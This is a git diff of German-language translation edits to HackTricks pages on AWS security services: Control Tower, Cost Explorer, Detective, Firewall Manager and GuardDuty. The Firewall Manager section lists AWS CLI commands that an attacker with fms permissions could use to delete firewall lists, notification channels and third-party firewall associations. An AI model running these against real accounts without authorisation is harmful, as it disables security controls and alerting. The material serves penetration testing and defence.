automatisiert auch die Bereitstellung von Konten, Diensten und Richtlinien. @@ -29,7 +29,7 @@ Um die Kontrollen von Control Tower zu enumerieren, müssen Sie zuerst **die Org aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` > [!WARNING] -> Control Tower kann auch **Account factory** verwenden, um **CloudFormation-Vorlagen** in **Konten auszuführen und Dienste** (privesc, post-exploitation...) in diesen Konten auszuführen. +> Control Tower kann auch die **Account factory** verwenden, um **CloudFormation-Vorlagen** in **Konten auszuführen und Dienste** (privesc, post-exploitation...) in diesen Konten auszuführen. ### Post Exploitation & Persistence diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index bb0aa2bc0..9a65fc6ce 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -4,12 +4,12 @@ ## Cost Explorer und Anomalieerkennung -Dies ermöglicht es Ihnen zu überprüfen, **wie Sie Geld für AWS-Dienste ausgeben** und hilft Ihnen, **Anomalien zu erkennen**.\ +Dies ermöglicht es Ihnen zu überprüfen, **wie Sie Geld für AWS-Dienste ausgeben** und hilft Ihnen **Anomalien zu erkennen**.\ Darüber hinaus können Sie eine Anomalieerkennung konfigurieren, sodass AWS Sie warnt, wenn eine **Anomalie bei den Kosten gefunden wird**. ### Budgets Budgets helfen, **Kosten und Nutzung zu verwalten**. Sie können **benachrichtigt werden, wenn ein Schwellenwert erreicht wird**.\ -Außerdem können sie für nicht kostenbezogene Überwachung verwendet werden, wie die Nutzung eines Dienstes (wie viele GB in einem bestimmten S3-Bucket verwendet werden?). +Außerdem können sie für nicht kostenbezogene Überwachungen verwendet werden, wie die Nutzung eines Dienstes (wie viele GB werden in einem bestimmten S3-Bucket verwendet?). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index c64fc194e..3f7f867c4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,7 +4,7 @@ ## Detective -**Amazon Detective** optimiert den Sicherheitsuntersuchungsprozess und macht es effizienter, **zu analysieren, zu untersuchen und die Ursachen** von Sicherheitsproblemen oder ungewöhnlichen Aktivitäten zu identifizieren. Es automatisiert die Sammlung von Protokolldaten aus AWS-Ressourcen und verwendet **maschinelles Lernen, statistische Analyse und Graphentheorie**, um einen miteinander verbundenen Datensatz zu erstellen. Diese Einrichtung verbessert erheblich die Geschwindigkeit und Effektivität von Sicherheitsuntersuchungen. +**Amazon Detective** optimiert den Sicherheitsuntersuchungsprozess und macht es effizienter, **Sicherheitsprobleme oder ungewöhnliche Aktivitäten zu analysieren, zu untersuchen und die Ursachen zu ermitteln**. Es automatisiert die Sammlung von Protokolldaten aus AWS-Ressourcen und verwendet **maschinelles Lernen, statistische Analyse und Graphentheorie**, um einen miteinander verbundenen Datensatz zu erstellen. Diese Einrichtung verbessert erheblich die Geschwindigkeit und Effektivität von Sicherheitsuntersuchungen. Der Dienst erleichtert die eingehende Untersuchung von Sicherheitsvorfällen, sodass Sicherheitsteams schnell die zugrunde liegenden Ursachen von Problemen verstehen und angehen können. Amazon Detective analysiert große Mengen an Daten aus Quellen wie VPC Flow Logs, AWS CloudTrail und Amazon GuardDuty. Es generiert automatisch eine **umfassende, interaktive Ansicht von Ressourcen, Benutzern und deren Interaktionen im Laufe der Zeit**. Diese integrierte Perspektive bietet alle notwendigen Details und den Kontext an einem Ort, sodass Teams die Gründe hinter Sicherheitsbefunden erkennen, relevante historische Aktivitäten untersuchen und schnell die Ursache ermitteln können. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 248e8eaf7..5070afdff 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -6,11 +6,11 @@ **AWS Firewall Manager** vereinfacht die Verwaltung und Wartung von **AWS WAF, AWS Shield Advanced, Amazon VPC-Sicherheitsgruppen und Netzwerkzugriffskontrolllisten (ACLs), sowie AWS Network Firewall, AWS Route 53 Resolver DNS Firewall und Firewalls von Drittanbietern** über mehrere Konten und Ressourcen hinweg. Es ermöglicht Ihnen, Ihre Firewall-Regeln, Shield Advanced-Schutzmaßnahmen, VPC-Sicherheitsgruppen und Network Firewall-Einstellungen nur einmal zu konfigurieren, wobei der Dienst **diese Regeln und Schutzmaßnahmen automatisch über Ihre Konten und Ressourcen durchsetzt**, einschließlich neu hinzugefügter. -Der Dienst bietet die Möglichkeit, **bestimmte Ressourcen zusammenzufassen und zu schützen**, wie z.B. solche, die ein gemeinsames Tag teilen oder alle Ihre CloudFront-Distributionen. Ein wesentlicher Vorteil des Firewall Managers ist seine Fähigkeit, **den Schutz automatisch auf neu hinzugefügte Ressourcen** in Ihrem Konto auszuweiten. +Der Dienst bietet die Möglichkeit, **bestimmte Ressourcen zusammenzufassen und zu schützen**, wie z.B. solche, die ein gemeinsames Tag teilen oder alle Ihre CloudFront-Distributionen. Ein wesentlicher Vorteil des Firewall Managers ist seine Fähigkeit, **automatisch Schutz für neu hinzugefügte Ressourcen** in Ihrem Konto zu erweitern. Eine **Regelgruppe** (eine Sammlung von WAF-Regeln) kann in eine AWS Firewall Manager-Richtlinie integriert werden, die dann mit bestimmten AWS-Ressourcen wie CloudFront-Distributionen oder Anwendungs-Load-Balancern verknüpft ist. -AWS Firewall Manager bietet **verwaltete Anwendungs- und Protokolllisten**, um die Konfiguration und Verwaltung von Sicherheitsgruppenrichtlinien zu vereinfachen. Diese Listen ermöglichen es Ihnen, die von Ihren Richtlinien erlaubten oder abgelehnten Protokolle und Anwendungen zu definieren. Es gibt zwei Arten von verwalteten Listen: +AWS Firewall Manager bietet **verwaltete Anwendungs- und Protokolllisten**, um die Konfiguration und Verwaltung von Sicherheitsgruppenrichtlinien zu vereinfachen. Diese Listen ermöglichen es Ihnen, die Protokolle und Anwendungen zu definieren, die von Ihren Richtlinien erlaubt oder verweigert werden. Es gibt zwei Arten von verwalteten Listen: - **Von Firewall Manager verwaltete Listen**: Diese Listen umfassen **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** und **FMS-Default-Protocols-Allowed**. Sie werden von Firewall Manager verwaltet und enthalten häufig verwendete Anwendungen und Protokolle, die der allgemeinen Öffentlichkeit erlaubt oder verweigert werden sollten. Es ist nicht möglich, sie zu bearbeiten oder zu löschen, jedoch können Sie ihre Version auswählen. - **Benutzerdefinierte verwaltete Listen**: Diese Listen verwalten Sie selbst. Sie können benutzerdefinierte Anwendungs- und Protokolllisten erstellen, die auf die Bedürfnisse Ihrer Organisation zugeschnitten sind. Im Gegensatz zu von Firewall Manager verwalteten Listen haben diese Listen keine Versionen, aber Sie haben die volle Kontrolle über benutzerdefinierte Listen, sodass Sie sie nach Bedarf erstellen, bearbeiten und löschen können. @@ -24,22 +24,22 @@ Die folgenden Voraussetzungen müssen erfüllt sein, bevor Sie mit der Konfigura 1. **Treten Sie AWS Organizations bei und konfigurieren Sie es:** Stellen Sie sicher, dass Ihr AWS-Konto Teil der AWS Organizations-Organisation ist, in der die AWS Firewall Manager-Richtlinien implementiert werden sollen. Dies ermöglicht eine zentrale Verwaltung von Ressourcen und Richtlinien über mehrere AWS-Konten innerhalb der Organisation. 2. **Erstellen Sie ein AWS Firewall Manager Standard-Administrator-Konto:** Richten Sie ein Standard-Administrator-Konto speziell für die Verwaltung von Firewall Manager-Sicherheitsrichtlinien ein. Dieses Konto ist verantwortlich für die Konfiguration und Durchsetzung von Sicherheitsrichtlinien in der gesamten Organisation. Nur das Verwaltungskonto der Organisation kann Standard-Administrator-Konten für den Firewall Manager erstellen. 3. **Aktivieren Sie AWS Config:** Aktivieren Sie AWS Config, um dem Firewall Manager die erforderlichen Konfigurationsdaten und Einblicke zu geben, die zur effektiven Durchsetzung von Sicherheitsrichtlinien erforderlich sind. AWS Config hilft bei der Analyse, Prüfung, Überwachung und Auditierung von Ressourcen-Konfigurationen und -Änderungen, was eine bessere Sicherheitsverwaltung erleichtert. -4. **Für Richtlinien von Drittanbietern, abonnieren Sie im AWS Marketplace und konfigurieren Sie die Einstellungen von Drittanbietern:** Wenn Sie planen, Richtlinien von Drittanbietern zu nutzen, abonnieren Sie diese im AWS Marketplace und konfigurieren Sie die erforderlichen Einstellungen. Dieser Schritt stellt sicher, dass der Firewall Manager Richtlinien von vertrauenswürdigen Drittanbietern integrieren und durchsetzen kann. -5. **Für Netzwerkfirewall- und DNS-Firewall-Richtlinien, aktivieren Sie die Ressourcenteilung:** Aktivieren Sie die Ressourcenteilung speziell für Netzwerkfirewall- und DNS-Firewall-Richtlinien. Dies ermöglicht es dem Firewall Manager, Firewall-Schutzmaßnahmen auf die VPCs und die DNS-Auflösung Ihrer Organisation anzuwenden und die Netzwerksicherheit zu erhöhen. +4. **Für Richtlinien von Drittanbietern, abonnieren Sie im AWS Marketplace und konfigurieren Sie die Einstellungen für Drittanbieter:** Wenn Sie planen, Richtlinien von Drittanbietern zu nutzen, abonnieren Sie diese im AWS Marketplace und konfigurieren Sie die erforderlichen Einstellungen. Dieser Schritt stellt sicher, dass der Firewall Manager Richtlinien von vertrauenswürdigen Drittanbietern integrieren und durchsetzen kann. +5. **Für Netzwerkfirewall- und DNS-Firewall-Richtlinien, aktivieren Sie die Ressourcenteilung:** Aktivieren Sie die Ressourcenteilung speziell für Netzwerkfirewall- und DNS-Firewall-Richtlinien. Dies ermöglicht es dem Firewall Manager, Firewall-Schutzmaßnahmen auf die VPCs und die DNS-Auflösung Ihrer Organisation anzuwenden und die Netzwerksicherheit zu verbessern. 6. **Um AWS Firewall Manager in Regionen zu verwenden, die standardmäßig deaktiviert sind:** Wenn Sie beabsichtigen, den Firewall Manager in AWS-Regionen zu verwenden, die standardmäßig deaktiviert sind, stellen Sie sicher, dass Sie die erforderlichen Schritte unternehmen, um seine Funktionalität in diesen Regionen zu aktivieren. Dies gewährleistet eine konsistente Durchsetzung der Sicherheit in allen Regionen, in denen Ihre Organisation tätig ist. -Für weitere Informationen siehe: [Erste Schritte mit AWS Firewall Manager AWS WAF-Richtlinien](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +Für weitere Informationen siehe: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). ### Arten von Schutzrichtlinien -AWS Firewall Manager verwaltet mehrere Arten von Richtlinien, um Sicherheitskontrollen in verschiedenen Aspekten der Infrastruktur Ihrer Organisation durchzusetzen: +AWS Firewall Manager verwaltet mehrere Arten von Richtlinien, um Sicherheitskontrollen über verschiedene Aspekte der Infrastruktur Ihrer Organisation durchzusetzen: 1. **AWS WAF-Richtlinie:** Dieser Richtlinientyp unterstützt sowohl AWS WAF als auch AWS WAF Classic. Sie können definieren, welche Ressourcen durch die Richtlinie geschützt sind. Für AWS WAF-Richtlinien können Sie Sets von Regelgruppen angeben, die zuerst und zuletzt im Web-ACL ausgeführt werden. Darüber hinaus können Kontoinhaber Regeln und Regelgruppen hinzufügen, die zwischen diesen Sets ausgeführt werden. 2. **Shield Advanced-Richtlinie:** Diese Richtlinie wendet Shield Advanced-Schutzmaßnahmen auf Ihre Organisation für bestimmte Ressourcentypen an. Sie hilft, sich gegen DDoS-Angriffe und andere Bedrohungen zu schützen. -3. **Amazon VPC-Sicherheitsgruppenrichtlinie:** Mit dieser Richtlinie können Sie Sicherheitsgruppen verwalten, die in Ihrer Organisation verwendet werden, und ein Basisset von Regeln in Ihrer AWS-Umgebung durchsetzen, um den Netzwerkzugang zu steuern. -4. **Amazon VPC-Netzwerkzugriffskontrolllisten (ACL)-Richtlinie:** Dieser Richtlinientyp gibt Ihnen die Kontrolle über die in Ihrer Organisation verwendeten Netzwerk-ACLs und ermöglicht es Ihnen, ein Basisset von Netzwerk-ACLs in Ihrer AWS-Umgebung durchzusetzen. -5. **Netzwerkfirewall-Richtlinie:** Diese Richtlinie wendet AWS Network Firewall-Schutz auf die VPCs Ihrer Organisation an und erhöht die Netzwerksicherheit, indem der Datenverkehr basierend auf vordefinierten Regeln gefiltert wird. -6. **Amazon Route 53 Resolver DNS Firewall-Richtlinie:** Diese Richtlinie wendet DNS-Firewall-Schutzmaßnahmen auf die VPCs Ihrer Organisation an und hilft, böswillige Domainauflösungsversuche zu blockieren und Sicherheitsrichtlinien für DNS-Verkehr durchzusetzen. +3. **Amazon VPC-Sicherheitsgruppenrichtlinie:** Mit dieser Richtlinie können Sie Sicherheitsgruppen verwalten, die in Ihrer Organisation verwendet werden, und eine Baseline von Regeln in Ihrer AWS-Umgebung durchsetzen, um den Netzwerkzugang zu steuern. +4. **Amazon VPC-Netzwerkzugriffskontrolllisten (ACL)-Richtlinie:** Dieser Richtlinientyp gibt Ihnen die Kontrolle über Netzwerk-ACLs, die in Ihrer Organisation verwendet werden, und ermöglicht es Ihnen, eine Baseline von Netzwerk-ACLs in Ihrer AWS-Umgebung durchzusetzen. +5. **Netzwerkfirewall-Richtlinie:** Diese Richtlinie wendet AWS Network Firewall-Schutz auf die VPCs Ihrer Organisation an und verbessert die Netzwerksicherheit, indem der Datenverkehr basierend auf vordefinierten Regeln gefiltert wird. +6. **Amazon Route 53 Resolver DNS Firewall-Richtlinie:** Diese Richtlinie wendet DNS-Firewall-Schutzmaßnahmen auf die VPCs Ihrer Organisation an und hilft, bösartige Domainauflösungsversuche zu blockieren und Sicherheitsrichtlinien für DNS-Verkehr durchzusetzen. 7. **Drittanbieter-Firewall-Richtlinie:** Dieser Richtlinientyp wendet Schutzmaßnahmen von Drittanbieter-Firewalls an, die über das AWS Marketplace-Portal abonnierbar sind. Er ermöglicht es Ihnen, zusätzliche Sicherheitsmaßnahmen von vertrauenswürdigen Anbietern in Ihre AWS-Umgebung zu integrieren. 1. **Palo Alto Networks Cloud NGFW-Richtlinie:** Diese Richtlinie wendet Schutzmaßnahmen und Regelstacks der Palo Alto Networks Cloud Next Generation Firewall (NGFW) auf die VPCs Ihrer Organisation an und bietet fortschrittliche Bedrohungsprävention und anwendungsspezifische Sicherheitskontrollen. 2. **Fortigate Cloud Native Firewall (CNF) als Service-Richtlinie:** Diese Richtlinie wendet Schutzmaßnahmen der Fortigate Cloud Native Firewall (CNF) als Service an und bietet branchenführende Bedrohungsprävention, Webanwendungsfirewall (WAF) und API-Schutz, die auf Cloud-Infrastrukturen zugeschnitten sind. @@ -68,9 +68,9 @@ Es gibt zwei verschiedene Arten von Administratorenkonten, die jeweils spezifisc - Firewall Manager-Administratoren werden erstellt, um spezifische Rollen innerhalb der Organisation zu erfüllen, was eine Delegation von Verantwortlichkeiten ermöglicht, während Sicherheits- und Compliance-Standards eingehalten werden. - Bei der Erstellung überprüft der Firewall Manager bei AWS Organizations, ob das Konto bereits ein delegierter Administrator ist. Wenn nicht, ruft der Firewall Manager Organizations auf, um das Konto als delegierten Administrator für den Firewall Manager zu benennen. -Die Verwaltung dieser Administratorenkonten umfasst die Erstellung innerhalb des Firewall Managers und die Definition ihrer administrativen Umfänge gemäß den Sicherheitsanforderungen der Organisation und dem Prinzip der minimalen Berechtigung. Durch die Zuweisung geeigneter administrativer Rollen können Organisationen eine effektive Sicherheitsverwaltung sicherstellen und gleichzeitig eine granulare Kontrolle über den Zugriff auf sensible Ressourcen aufrechterhalten. +Die Verwaltung dieser Administratorenkonten umfasst die Erstellung innerhalb des Firewall Managers und die Definition ihrer administrativen Umfänge gemäß den Sicherheitsanforderungen der Organisation und dem Prinzip der minimalen Berechtigung. Durch die Zuweisung geeigneter administrativer Rollen können Organisationen eine effektive Sicherheitsverwaltung sicherstellen und gleichzeitig die Kontrolle über den Zugriff auf sensible Ressourcen aufrechterhalten. -Es ist wichtig zu betonen, dass **nur ein Konto innerhalb einer Organisation als Standard-Administrator des Firewall Managers fungieren kann**, gemäß dem Prinzip "**first in, last out**". Um einen neuen Standard-Administrator zu benennen, müssen eine Reihe von Schritten befolgt werden: +Es ist wichtig zu betonen, dass **nur ein Konto innerhalb einer Organisation als Standard-Administrator des Firewall Managers fungieren kann**, gemäß dem Prinzip von "**first in, last out**". Um einen neuen Standard-Administrator zu benennen, müssen eine Reihe von Schritten befolgt werden: - Zuerst muss jeder Firewall-Administrator sein eigenes Konto widerrufen. - Dann kann der bestehende Standard-Administrator sein eigenes Konto widerrufen, wodurch die Organisation effektiv vom Firewall Manager abgemeldet wird. Dieser Prozess führt zur Löschung aller vom widerrufenen Konto erstellten Firewall Manager-Richtlinien. @@ -222,11 +222,11 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` -**Potenzielle Auswirkungen:** Die Hinzufügung einer unnötigen Anzahl von Elementen zu einem Ressourcen-Set wird das Geräuschlevel im Dienst erhöhen und möglicherweise einen DoS verursachen. Darüber hinaus könnten Änderungen der Ressourcen-Sets zu einer Störung der Ressourcen, Umgehung von Richtlinien, Compliance-Verstößen und Störungen der Sicherheitskontrollen innerhalb der Umgebung führen. +**Potenzielle Auswirkungen:** Die Hinzufügung einer unnötigen Anzahl von Elementen zu einem Ressourcen-Set wird das Geräuschlevel im Dienst erhöhen, was möglicherweise zu einem DoS führt. Darüber hinaus könnten Änderungen der Ressourcen-Sets zu einer Störung der Ressourcen, Umgehung von Richtlinien, Verstößen gegen die Compliance und Störungen der Sicherheitskontrollen innerhalb der Umgebung führen. ### `fms:PutAppsList`, `fms:DeleteAppsList` -Ein Angreifer mit den Berechtigungen **`fms:PutAppsList`** und **`fms:DeleteAppsList`** wäre in der Lage, Anwendungslisten aus dem AWS Firewall Manager zu erstellen, zu ändern oder zu löschen. Dies könnte kritisch sein, da unautorisierte Anwendungen möglicherweise Zugang zur allgemeinen Öffentlichkeit erhalten oder der Zugang zu autorisierten Anwendungen verweigert werden könnte, was einen DoS verursachen würde. +Ein Angreifer mit den Berechtigungen **`fms:PutAppsList`** und **`fms:DeleteAppsList`** wäre in der Lage, Anwendungslisten aus dem AWS Firewall Manager zu erstellen, zu ändern oder zu löschen. Dies könnte kritisch sein, da unautorisierte Anwendungen den Zugang für die Allgemeinheit erhalten könnten oder der Zugang zu autorisierten Anwendungen verweigert werden könnte, was zu einem DoS führt. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id @@ -240,13 +240,13 @@ Ein Angreifer mit den Berechtigungen **`fms:PutProtocolsList`** und **`fms:Delet aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` -**Potenzielle Auswirkungen:** Dies könnte zu Fehlkonfigurationen, Umgehung von Richtlinien, Verstößen gegen die Compliance und Störungen der Sicherheitskontrollen innerhalb der Umgebung führen. +**Potenzielle Auswirkungen:** Dies könnte zu Fehlkonfigurationen, Umgehungen von Richtlinien, Verstößen gegen die Compliance und Störungen der Sicherheitskontrollen innerhalb der Umgebung führen. ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -Ein Angreifer mit den Berechtigungen **`fms:PutNotificationChannel`** und **`fms:DeleteNotificationChannel`** wäre in der Lage, die IAM-Rolle und das Amazon Simple Notification Service (SNS)-Thema zu löschen und festzulegen, die Firewall Manager verwendet, um SNS-Protokolle aufzuzeichnen. +Ein Angreifer mit den Berechtigungen **`fms:PutNotificationChannel`** und **`fms:DeleteNotificationChannel`** wäre in der Lage, die IAM-Rolle und das Amazon Simple Notification Service (SNS) Thema zu löschen und festzulegen, die Firewall Manager verwendet, um SNS-Protokolle aufzuzeichnen. -Um **`fms:PutNotificationChannel`** außerhalb der Konsole zu verwenden, müssen Sie die Zugriffsrichtlinie des SNS-Themas einrichten, die dem angegebenen **SnsRoleName** das Veröffentlichen von SNS-Protokollen erlaubt. Wenn der angegebene **SnsRoleName** eine Rolle ist, die nicht **`AWSServiceRoleForFMS`** ist, erfordert dies eine Vertrauensbeziehung, die es dem Firewall Manager-Dienstprinzipal **fms.amazonaws.com** ermöglicht, diese Rolle zu übernehmen. +Um **`fms:PutNotificationChannel`** außerhalb der Konsole zu verwenden, müssen Sie die Zugriffsrichtlinie des SNS-Themas einrichten, die dem angegebenen **SnsRoleName** das Veröffentlichen von SNS-Protokollen erlaubt. Wenn der angegebene **SnsRoleName** eine Rolle ist, die nicht **`AWSServiceRoleForFMS`** ist, erfordert dies eine Vertrauensbeziehung, die es dem Firewall Manager-Dienstprinzipal **fms.amazonaws.com** erlaubt, diese Rolle zu übernehmen. Für Informationen zur Konfiguration einer SNS-Zugriffsrichtlinie: @@ -257,7 +257,7 @@ Für Informationen zur Konfiguration einer SNS-Zugriffsrichtlinie: aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` -**Potenzielle Auswirkungen:** Dies könnte potenziell zu verpassten Sicherheitswarnungen, verzögerter Incident-Response, potenziellen Datenverletzungen und betrieblichen Störungen innerhalb der Umgebung führen. +**Potenzielle Auswirkungen:** Dies könnte potenziell zu verpassten Sicherheitswarnungen, verzögerter Incident-Response, möglichen Datenverletzungen und betrieblichen Störungen innerhalb der Umgebung führen. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` @@ -269,16 +269,16 @@ Ein Angreifer mit den Berechtigungen **`fms:AssociateThirdPartyFirewall`**, **`f aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` -**Potenzielle Auswirkungen:** Die Dissoziation würde zu einer Umgehung der Richtlinien, zu Compliance-Verstößen und zu einer Störung der Sicherheitskontrollen innerhalb der Umgebung führen. Die Assoziation hingegen würde zu einer Störung der Kosten- und Budgetzuweisung führen. +**Potenzielle Auswirkungen:** Die Dissoziation würde zu einer Umgehung der Richtlinien, zu Verstößen gegen die Compliance und zu einer Störung der Sicherheitskontrollen innerhalb der Umgebung führen. Die Assoziation hingegen würde zu einer Störung der Kosten- und Budgetzuweisung führen. ### `fms:TagResource`, `fms:UntagResource` -Ein Angreifer wäre in der Lage, Tags von Firewall Manager-Ressourcen hinzuzufügen, zu ändern oder zu entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde. +Ein Angreifer wäre in der Lage, Tags von Firewall Manager-Ressourcen hinzuzufügen, zu ändern oder zu entfernen, was die Kostenzuweisung, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` -**Potenzielle Auswirkungen**: Störung der Kostenverteilung, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien. +**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien. ## Referenzen diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index c1842b92b..3b9d172b6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -8,18 +8,18 @@ Laut den [**Docs**](https://aws.amazon.com/guardduty/features/): GuardDuty kombi Amazon GuardDuty **identifiziert ungewöhnliche Aktivitäten innerhalb Ihrer Konten**, analysiert die **Sicherheitsrelevanz** der Aktivität und gibt den **Kontext** an, in dem sie ausgelöst wurde. Dies ermöglicht es einem Reaktionsbeauftragten zu bestimmen, ob er Zeit für weitere Untersuchungen aufwenden sollte. -Warnungen **erscheinen in der GuardDuty-Konsole (90 Tage)** und CloudWatch Events. +Alarme **erscheinen in der GuardDuty-Konsole (90 Tage)** und CloudWatch Events. > [!WARNING] > Wenn ein Benutzer **GuardDuty deaktiviert**, wird die Überwachung Ihrer AWS-Umgebung eingestellt und es werden keine neuen Erkenntnisse mehr generiert, und die **bestehenden Erkenntnisse gehen verloren**.\ -> Wenn Sie es einfach stoppen, bleiben die bestehenden Erkenntnisse erhalten. +> Wenn Sie es einfach nur stoppen, bleiben die bestehenden Erkenntnisse erhalten. ### Beispiel für Erkenntnisse -- **Aufklärung**: Aktivitäten, die auf eine Aufklärung durch einen Angreifer hindeuten, wie z.B. **ungewöhnliche API-Aktivitäten**, verdächtige Datenbank-**Anmelde**versuche, intra-VPC-**Port-Scans**, ungewöhnliche Muster bei fehlgeschlagenen Anmeldeanfragen oder unblockierte Portabfragen von einer bekannten schlechten IP. -- **Instanzkompromittierung**: Aktivitäten, die auf eine Instanzkompromittierung hinweisen, wie z.B. **Kryptowährungs-Mining, Backdoor-Befehls- und Kontrollaktivitäten (C\&C)**, Malware, die Domain-Generierungsalgorithmen (DGA) verwendet, ausgehende Denial-of-Service-Aktivitäten, ungewöhnlich **hohe Netzwerk**verkehrsvolumen, ungewöhnliche Netzwerkprotokolle, ausgehende Instanzkommunikation mit einer bekannten bösartigen IP, temporäre Amazon EC2-Anmeldeinformationen, die von einer externen IP-Adresse verwendet werden, und Datenexfiltration über DNS. -- **Konto-Kompromittierung**: Häufige Muster, die auf eine Konto-Kompromittierung hindeuten, umfassen API-Aufrufe von einem ungewöhnlichen geografischen Standort oder anonymisierenden Proxy, Versuche, das AWS CloudTrail-Logging zu deaktivieren, Änderungen, die die Passwort-Richtlinie des Kontos schwächen, ungewöhnliche Instanz- oder Infrastrukturstarts, Infrastrukturbereitstellungen in einer ungewöhnlichen Region, Diebstahl von Anmeldeinformationen, verdächtige Datenbank-Anmeldeaktivitäten und API-Aufrufe von bekannten bösartigen IP-Adressen. -- **Bucket-Kompromittierung**: Aktivitäten, die auf eine Bucket-Kompromittierung hinweisen, wie z.B. verdächtige Datenzugriffsmuster, die auf einen Missbrauch von Anmeldeinformationen hindeuten, ungewöhnliche Amazon S3 API-Aktivitäten von einem Remote-Host, unbefugter S3-Zugriff von bekannten bösartigen IP-Adressen und API-Aufrufe zum Abrufen von Daten in S3-Buckets von einem Benutzer ohne vorherige Historie des Zugriffs auf den Bucket oder die von einem ungewöhnlichen Standort aus ausgelöst wurden. Amazon GuardDuty überwacht und analysiert kontinuierlich AWS CloudTrail S3-Datenereignisse (z.B. GetObject, ListObjects, DeleteObject), um verdächtige Aktivitäten in all Ihren Amazon S3-Buckets zu erkennen. +- **Reconnaissance**: Aktivitäten, die auf eine Aufklärung durch einen Angreifer hindeuten, wie z.B. **ungewöhnliche API-Aktivitäten**, verdächtige Datenbank-**Anmelde**versuche, intra-VPC-**Port-Scans**, ungewöhnliche Muster bei fehlgeschlagenen Anmeldeanfragen oder unblockierte Portabfragen von einer bekannten schlechten IP. +- **Instanzkompromittierung**: Aktivitäten, die auf eine Instanzkompromittierung hindeuten, wie z.B. **Kryptowährungs-Mining, Backdoor-Befehls- und Kontrollaktivitäten (C\&C)**, Malware, die Domain-Generierungs-Algorithmen (DGA) verwendet, ausgehende Denial-of-Service-Aktivitäten, ungewöhnlich **hohe Netzwerk**-Traffic-Volumen, ungewöhnliche Netzwerkprotokolle, ausgehende Instanzkommunikation mit einer bekannten bösartigen IP, temporäre Amazon EC2-Anmeldeinformationen, die von einer externen IP-Adresse verwendet werden, und Datenexfiltration über DNS. +- **Konto-Kompromittierung**: Häufige Muster, die auf eine Konto-Kompromittierung hindeuten, umfassen API-Aufrufe von einem ungewöhnlichen geografischen Standort oder anonymisierenden Proxy, Versuche, das AWS CloudTrail-Logging zu deaktivieren, Änderungen, die die Passwort-Richtlinie des Kontos schwächen, ungewöhnliche Instanz- oder Infrastrukturstarts, Infrastruktur-Bereitstellungen in einer ungewöhnlichen Region, Credential-Diebstahl, verdächtige Datenbank-Anmeldeaktivitäten und API-Aufrufe von bekannten bösartigen IP-Adressen. +- **Bucket-Kompromittierung**: Aktivitäten, die auf eine Bucket-Kompromittierung hindeuten, wie z.B. verdächtige Datenzugriffsmuster, die auf Credential-Missbrauch hindeuten, ungewöhnliche Amazon S3 API-Aktivitäten von einem Remote-Host, unbefugter S3-Zugriff von bekannten bösartigen IP-Adressen und API-Aufrufe zum Abrufen von Daten in S3-Buckets von einem Benutzer ohne vorherige Historie des Zugriffs auf den Bucket oder die von einem ungewöhnlichen Standort aus ausgelöst wurden. Amazon GuardDuty überwacht und analysiert kontinuierlich AWS CloudTrail S3-Datenereignisse (z.B. GetObject, ListObjects, DeleteObject), um verdächtige Aktivitäten in all Ihren Amazon S3-Buckets zu erkennen.
